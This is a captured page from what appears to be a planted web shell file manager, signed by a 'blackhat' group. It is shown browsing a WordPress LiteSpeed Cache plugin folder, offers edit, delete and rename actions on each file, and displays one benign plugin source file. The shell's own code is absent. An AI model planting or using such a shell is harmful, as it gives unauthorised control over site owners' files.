-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
litespeed-cache
/
thirdparty
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
aelia-currencyswitcher.cls.php
1.759KB
Edit File
Delete File
Rename
amp.cls.php
1.838KB
Edit File
Delete File
Rename
autoptimize.cls.php
0.738KB
Edit File
Delete File
Rename
avada.cls.php
0.655KB
Edit File
Delete File
Rename
bbpress.cls.php
2.349KB
Edit File
Delete File
Rename
beaver-builder.cls.php
0.943KB
Edit File
Delete File
Rename
caldera-forms.cls.php
0.418KB
Edit File
Delete File
Rename
divi-theme-builder.cls.php
2.233KB
Edit File
Delete File
Rename
elementor.cls.php
1.632KB
Edit File
Delete File
Rename
entry.inc.php
1.479KB
Edit File
Delete File
Rename
facetwp.cls.php
0.694KB
Edit File
Delete File
Rename
gravity-forms.cls.php
0.532KB
Edit File
Delete File
Rename
litespeed-check.cls.php
4.645KB
Edit File
Delete File
Rename
nextgengallery.cls.php
6.249KB
Edit File
Delete File
Rename
perfmatters.cls.php
0.667KB
Edit File
Delete File
Rename
theme-my-login.cls.php
0.874KB
Edit File
Delete File
Rename
user-switching.cls.php
0.531KB
Edit File
Delete File
Rename
wc-pdf-product-vouchers.cls.php
0.657KB
Edit File
Delete File
Rename
wcml.cls.php
0.938KB
Edit File
Delete File
Rename
woo-paypal.cls.php
0.608KB
Edit File
Delete File
Rename
woocommerce.cls.php
24.335KB
Edit File
Delete File
Rename
woocommerce.content.tpl.php
3.519KB
Edit File
Delete File
Rename
woocommerce.tab.tpl.php
0.225KB
Edit File
Delete File
Rename
wp-polls.cls.php
0.492KB
Edit File
Delete File
Rename
wp-postratings.cls.php
0.617KB
Edit File
Delete File
Rename
wpdiscuz.cls.php
0.736KB
Edit File
Delete File
Rename
wplister.cls.php
0.696KB
Edit File
Delete File
Rename
wpml.cls.php
0.638KB
Edit File
Delete File
Rename
wptouch.cls.php
0.711KB
Edit File
Delete File
Rename
yith-wishlist.cls.php
4.359KB
Edit File
Delete File
Rename
<?php // phpcs:ignoreFile /** * The Third Party integration with the Aelia CurrencySwitcher plugin. * * @since 1.0.13 * @since 2.6 Removed hook_vary as OLS supports vary header already * @package LiteSpeed * @subpackage LiteSpeed_Cache/thirdparty */ namespace LiteSpeed\Thirdparty; defined('WPINC') || exit(); use LiteSpeed\API; class Aelia_CurrencySwitcher { private static $_cookies = array( 'aelia_cs_selected_currency', 'aelia_customer_country', 'aelia_customer_state', 'aelia_tax_exempt' ); /** * Detects if WooCommerce is installed. * * @since 1.0.13 * @access public */ public static function detect() { if (defined('WOOCOMMERCE_VERSION') && isset($GLOBALS['woocommerce-aelia-currencyswitcher']) && is_object($GLOBALS['woocommerce-aelia-currencyswitcher'])) { // Not all pages need to add vary, so need to use this API to set conditions self::$_cookies = apply_filters('litespeed_3rd_aelia_cookies', self::$_cookies); add_filter('litespeed_vary_curr_cookies', __CLASS__ . '::check_cookies'); // this is for vary response headers, only add when needed add_filter('litespeed_vary_cookies', __CLASS__ . '::register_cookies'); // this is for rewrite rules, so always add } } public static function register_cookies( $list ) { return array_merge($list, self::$_cookies); } /** * If the page is not a woocommerce page, ignore the logic. * Else check cookies. If cookies are set, set the vary headers, else do not cache the page. * * @since 1.0.13 * @access public */ public static function check_cookies( $list ) { // NOTE: is_cart and is_checkout should also be checked, but will be checked by woocommerce anyway. if (!is_woocommerce()) { return $list; } return array_merge($list, self::$_cookies); } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat